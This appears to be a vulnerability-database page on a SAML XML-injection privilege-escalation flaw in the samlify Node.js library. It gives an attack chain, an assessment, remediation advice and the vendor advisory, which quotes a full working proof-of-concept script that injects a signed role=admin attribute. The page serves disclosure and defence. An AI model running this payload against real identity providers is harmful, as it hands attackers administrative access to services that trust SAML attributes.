Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain low-privileged IdP account
-
DeliverySet profile field to crafted XML payload
-
ExploitInitiate SAML SSO to target SP
-
ExecutionIdP signs assertion containing injected saml:Attribute
-
PersistSP validates signature and trusts injected role=admin
-
ImpactAttacker accesses administrative functionality
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization XPath query parameterization
|
| Exploitation Conditions | Exploitation requires that the target IdP runs samlify < 2.13.0 and uses the loginResponseTemplate mechanism with at least one user-controlled value tag (e.g., user.email, user.name) interpolated into saml:AttributeValue element text. The attacker must hold a valid account on the IdP that lets them set one of those user-controlled fields to an arbitrary string (so authentication to the IdP is in practice required, despite the CVSS vector listing PR:N). The downstream SP must use SAML attributes (roles, groups, entitlements) for authorization decisions for the injection to translate into privilege escalation; SPs that only consume the NameID or ignore custom attributes are not impacted. No user interaction by a victim and no special network position are required beyond the normal SSO flow. |
| Impact | The CVSS 4.0 vector AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N reflects a network-reachable, low-complexity attack with high integrity impact and no confidentiality or availability impact, scoring 8.7 (High). However, PR:N in the vector conflicts with the description, which clearly requires the attacker to be a 'normal user' of the IdP - meaning a valid account is needed to submit the malicious attribute values, so real-world preconditions are closer to PR:L than PR:N; this should be flagged to consumers of the score. There is no EPSS, KEV, or SSVC data provided, so exploitation prevalence is unknown; however, a detailed PoC is published in the GHSA advisory, and the bug is deterministic and trivially weaponizable against any SP that uses SAML attributes for authorization (roles, groups, tenant IDs). Risk is concentrated in deployments where downstream SPs trust attribute-based authorization, which is the common case in enterprise SSO. |
| Exploit ScenarioDerived | An attacker registers or already holds a low-privileged account on an application whose IdP uses samlify. They set their profile email (or another templated attribute) to a payload that closes the saml:AttributeValue/saml:Attribute elements and injects a new saml:Attribute Name="role" with value 'admin'; when they initiate SSO, the IdP renders, signs, and returns the tampered assertion, and the downstream SP - trusting the cryptographic signature - grants administrative privileges based on the injected role attribute. A working PoC is published in the GHSA advisory, making reproduction straightforward. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv3 – Jun 08, 2026
Privilege escalation in samlify (Node.js SAML library) versions prior to 2.13.0 allows authenticated users to inject arbitrary XML markup into signed SAML assertions because template substitution only escapes attribute contexts, not element text. An attacker with a valid account can supply crafted values in user-controlled fields (e.g., email) that close the AttributeValue element and inject additional saml:Attribute elements (such as role=admin), which the IdP then signs and the SP accepts as trusted. No public exploit identified at time of analysis beyond the vendor-published PoC in the GHSA advisory.
Earlier versions of this analysis (2)
Privilege escalation in samlify (npm) versions prior to 2.13.0 allows an authenticated low-privilege user to inject arbitrary SAML attributes into a signed assertion by smuggling XML markup through unescaped element text in user-controlled values like email or name. Because the malicious attributes are inserted before the IdP signs the assertion, the Service Provider validates the signature and trusts injected claims such as role=admin. Publicly available exploit code exists in the GitHub Security Advisory, but no public exploit identified at time of analysis indicates in-the-wild abuse.
Privilege escalation in samlify (npm package) versions prior to 2.13.0 allows authenticated users to inject arbitrary SAML attributes into signed assertions because template substitution fails to XML-escape values placed inside element text. Publicly available exploit code exists in the form of a vendor-published proof-of-concept demonstrating injection of a forged role=admin attribute that the Identity Provider then signs as legitimate. No public exploit identified at time of analysis as actively exploited in the wild, but the trivial PoC and high impact on authorization decisions make this a high-priority library update for any Node.js SAML integration.
RemediationAI
Upgrade samlify to the vendor-released patched version 2.13.0 or later (npm install samlify@^2.13.0), which is the primary and recommended fix per the GHSA-34r5-q4jw-r36m advisory at https://github.com/tngan/samlify/security/advisories/GHSA-34r5-q4jw-r36m. If immediate upgrade is not possible, apply input validation at the application layer to strictly whitelist characters allowed in user-supplied attribute values (reject '<', '>', '&', '"', and '/' in fields such as email, display name, and any other value passed to the loginResponseTemplate), with the trade-off that this blocks legitimate Unicode-heavy values and is a fragile defense against encoding bypasses. Additionally, on the SP side, enforce defense-in-depth by validating that each saml:Attribute appears only once and matches an expected schema before using attribute values for authorization decisions, accepting the side effect that legitimate multi-valued attributes may need explicit allowlisting.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in npm
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
samlify is a widely used npm package implementing SAML 2.0 IdP and SP flows for Node.js applications. The root cause is in src/libsaml.ts, where replaceTagsByValue() applies XML escaping only when a placeholder is preceded by a quote character (i.e., inside an XML attribute), leaving placeholders embedded in element text content unescaped. This maps to CWE-91 (XML Injection / Improper Neutralization of Special Elements used in an XML Expression): user-controlled strings are concatenated into the SAML assertion template before XML-Signature canonicalization and signing, so injected elements become part of the signed payload and are indistinguishable from legitimate attributes to the relying party.
Know when Node.js gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
Primary rating from Vendor (https://github.com/tngan/samlify) · only source for this CVE.
CVSS VectorVendor: https://github.com/tngan/samlify
Lifecycle Timeline
3DescriptionCVE.org
Summary
samlify’s template substitution only escapes attribute contexts. Values inserted into element text (e.g., <saml:AttributeValue>) are not escaped. A normal user can inject XML markup into an attribute value (e.g., email, name) and add new <saml:Attribute> elements inside the signed assertion. The IdP then signs the tampered assertion and the SP accepts the injected attributes as trusted. This allows privilege escalation when attributes are used for authorization (roles/groups).
Root Cause
src/libsaml.ts → replaceTagsByValue() only escapes placeholders when preceded by a quote (attribute context). Element text is inserted raw. The attribute builder inserts placeholders into element text:
<saml:AttributeValue ...>{attrUserX}</saml:AttributeValue>Therefore, </saml:AttributeValue>…<saml:Attribute …> is accepted and signed.
Proof-of-concept
- poc/attribute_injection.ts
import { readFileSync } from 'fs';
import * as samlify from '../index';
import * as validator from '@authenio/samlify-xsd-schema-validator';
samlify.setSchemaValidator(validator);
const { IdentityProvider, ServiceProvider, SamlLib: libsaml, Utility: util } = samlify as any;
const loginResponseTemplate = {
context: '<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="{ID}" Version="2.0" IssueInstant="{IssueInstant}" Destination="{Destination}" InResponseTo="{InResponseTo}"><saml:Issuer>{Issuer}</saml:Issuer><samlp:Status><samlp:StatusCode Value="{StatusCode}"/></samlp:Status><saml:Assertion ID="{AssertionID}" Version="2.0" IssueInstant="{IssueInstant}" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"><saml:Issuer>{Issuer}</saml:Issuer><saml:Subject><saml:NameID Format="{NameIDFormat}">{NameID}</saml:NameID><saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><saml:SubjectConfirmationData NotOnOrAfter="{SubjectConfirmationDataNotOnOrAfter}" Recipient="{SubjectRecipient}" InResponseTo="{InResponseTo}"/></saml:SubjectConfirmation></saml:Subject><saml:Conditions NotBefore="{ConditionsNotBefore}" NotOnOrAfter="{ConditionsNotOnOrAfter}"><saml:AudienceRestriction><saml:Audience>{Audience}</saml:Audience></saml:AudienceRestriction></saml:Conditions>{AttributeStatement}</saml:Assertion></samlp:Response>',
attributes: [
{ name: 'mail', valueTag: 'user.email', nameFormat: 'urn:oasis:names:tc:SAML:2.0:attrname-format:basic', valueXsiType: 'xs:string' },
{ name: 'injection', valueTag: 'user.injection', nameFormat: 'urn:oasis:names:tc:SAML:2.0:attrname-format:basic', valueXsiType: 'xs:string' },
],
};
const idp = IdentityProvider({
privateKey: readFileSync('./test/key/idp/privkey.pem'),
privateKeyPass: 'q9ALNhGT5EhfcRmp8Pg7e9zTQeP2x1bW',
isAssertionEncrypted: false,
metadata: readFileSync('./test/misc/idpmeta.xml'),
loginResponseTemplate,
});
const sp = ServiceProvider({
privateKey: readFileSync('./test/key/sp/privkey.pem'),
privateKeyPass: 'VHOSp5RUiBcrsjrcAuXFwU1NKCkGA8px',
isAssertionEncrypted: false,
metadata: readFileSync('./test/misc/spmeta.xml'),
});
const buildTemplate = (_idp: any, _sp: any, _binding: any, user: any) => (template: string) => {
const now = new Date();
const fiveMinutesLater = new Date(now.getTime() + 300_000);
const tvalue = {
ID: _idp.entitySetting.generateID(),
AssertionID: _idp.entitySetting.generateID(),
Destination: _sp.entityMeta.getAssertionConsumerService('post'),
Audience: _sp.entityMeta.getEntityID(),
SubjectRecipient: _sp.entityMeta.getAssertionConsumerService('post'),
NameIDFormat: 'urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress',
NameID: user.email,
Issuer: _idp.entityMeta.getEntityID(),
IssueInstant: now.toISOString(),
ConditionsNotBefore: now.toISOString(),
ConditionsNotOnOrAfter: fiveMinutesLater.toISOString(),
SubjectConfirmationDataNotOnOrAfter: fiveMinutesLater.toISOString(),
InResponseTo: 'request-id',
StatusCode: 'urn:oasis:names:tc:SAML:2.0:status:Success',
attrUserEmail: user.email,
attrUserInjection: user.injection,
};
return { id: tvalue.ID, context: libsaml.replaceTagsByValue(template, tvalue) };
};
async function main() {
const injection = [
'safe',
'</saml:AttributeValue></saml:Attribute>',
'<saml:Attribute Name="role" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">',
'<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">admin</saml:AttributeValue>',
'</saml:Attribute>',
'<saml:Attribute Name="injection" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">',
'<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">safe'
].join('');
const user = { email: 'user@esaml2.com', injection };
const { context: SAMLResponse } = await idp.createLoginResponse(
sp,
{ extract: { request: { id: 'request-id' } } },
'post',
user,
buildTemplate(idp, sp, 'post', user)
);
const xml = util.base64Decode(SAMLResponse, true).toString();
console.log('--- Generated XML snippet ---');
console.log(xml.slice(xml.indexOf('<saml:AttributeStatement'), xml.indexOf('</saml:AttributeStatement>') + 26));
const { extract } = await sp.parseLoginResponse(idp, 'post', { body: { SAMLResponse } });
console.log('Parsed attributes:', extract.attributes);
}
main().catch(err => {
console.error('PoC failed:', err?.message || err);
process.exitCode = 1;
});Run:
npm install --legacy-peer-deps
npx ts-node poc/attribute_injection.tsImpact
A normal user can inject arbitrary attributes (e.g., role=admin) into a signed assertion and have them parsed by sp.parseLoginResponse(). This can grant elevated privileges in SPs that trust SAML attributes.
Executive ViewAI
Samlify (Node.js SAML library) contains a privilege escalation vulnerability (CVE-2026-46490, CVSS 8.7) that allows authenticated users to assume administrative permissions through XML injection; no public exploit identified at time of analysis. Organizations using samlify for authentication must immediately patch to version 2.13.0 to eliminate administrative access escalation risks before exploitation becomes public.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Privilege escalation occurs when an attacker leverages flaws in access control mechanisms to gain permissions beyond what they were originally granted.
Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation
A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could
FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote
Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour
Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t
Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete
Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc
An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi
Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin
The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic
EUVD-2026-35188
GHSA-34r5-q4jw-r36m
NVD
CVE.org
EPSS
VulDB
Exploit-DB